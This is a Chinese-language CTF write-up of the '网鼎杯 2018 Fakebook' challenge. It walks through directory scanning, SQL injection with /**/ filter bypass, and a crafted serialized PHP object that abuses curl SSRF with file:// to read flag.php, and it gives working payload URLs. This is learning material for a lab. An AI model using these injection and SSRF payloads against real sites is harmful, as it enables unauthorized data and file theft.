前言
第一次做,拿到题目一开始就被注册难住了,blog该填啥???于是忍不住直接就去看wp了。。。。。。
后面过了一段时间再去做发现,除了注册,后面还是没有思路,只是隐约记得有个反序列化。。。。
这里就记一下,加深以下印像。
一、没有思路,就目录扫描
dirsearch直接上,扫到下面一些文件
可以看到除了robots文件,其他好像也没什么好看的。访问一下。
提示user.php备份文件,访问一下。
得到备份,浅浅分析一下。
<?php
class UserInfo#一个userinfo类
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();#创建新curl资源,返回一个句柄,供下面的一些curl_exec()等函数使用
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);#这两行设置选项和url
$output = curl_exec($ch);#抓取url并传递给浏览器
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);#获取句柄的信息,这里获取url的内容
if($httpCode == 404) {
return 404;#进行内容判断
}
curl_close($ch);#关闭curl资源
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);#注册的blog需要以http或https开头
}
}
二、做题
1.sql注入
有no参数,自然试一下sql注入
通过1=1--+
和1=2--+
可以发现存在注入,于是一系列操作到union select
就进行不下去了
于是菜鸡的我去查怎么去绕过,找到可以用/**/
可绕过
后面再一系列操作不用说了,爆出数据,这里group_concat
用-
连接一下好区分
能明显看到后面的data数据是一个序列化的结果,而且需要注意它应该是在4的位置上显示blog信息
2.序列化结合SSRF获取flag
看大佬的wp,后面猜测通过控制data内容,能够获取flag。
大佬先做了个测试,我也做个测试试一下。
<?php
class UserInfo
{
public $name = "admin";
public $age = 122;
public $blog = "test";
}
$a=new UserInfo();
print(serialize($a))
?>
用在线编辑器跑一下得到序列化后的结果
O:8:“UserInfo”:3:{s:4:“name”;s:5:“admin”;s:3:“age”;i:122;s:4:“blog”;s:4:“test”;}
放到语句中测试:
/view.php?no=0%20union/**/select 1,2,3,'O:8:“UserInfo”:3:{s:4:“name”;s:5:“admin”;s:3:“age”;i:122;s:4:“blog”;s:4:“test”;} ’ from users–+
这里真的返回了。后面专门看了其他大佬的文章说,curl_exec()这个函数会存在ssrf漏洞,于是利用这个漏洞和file://伪协议进行读取flag
构造payload
view.php?no=0%20union/**/select 1,2,3,'O:8:“UserInfo”:3:{s:4:“name”;s:5:“admin”;s:3:“age”;i:122;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;} ’ from users–+
一开始还没反应过来,原来在源码里面
进行base64解密得到flag
参考
[网鼎杯 2018]Fakebook——SSRF/反序列化漏洞/SQL注入
总结
第一次认真跟着大佬的wp一步步做下来,学到了很多,sql注入那里还是有些薄弱,判断闭合的时候总想不到直接空格,多积累吧。。。。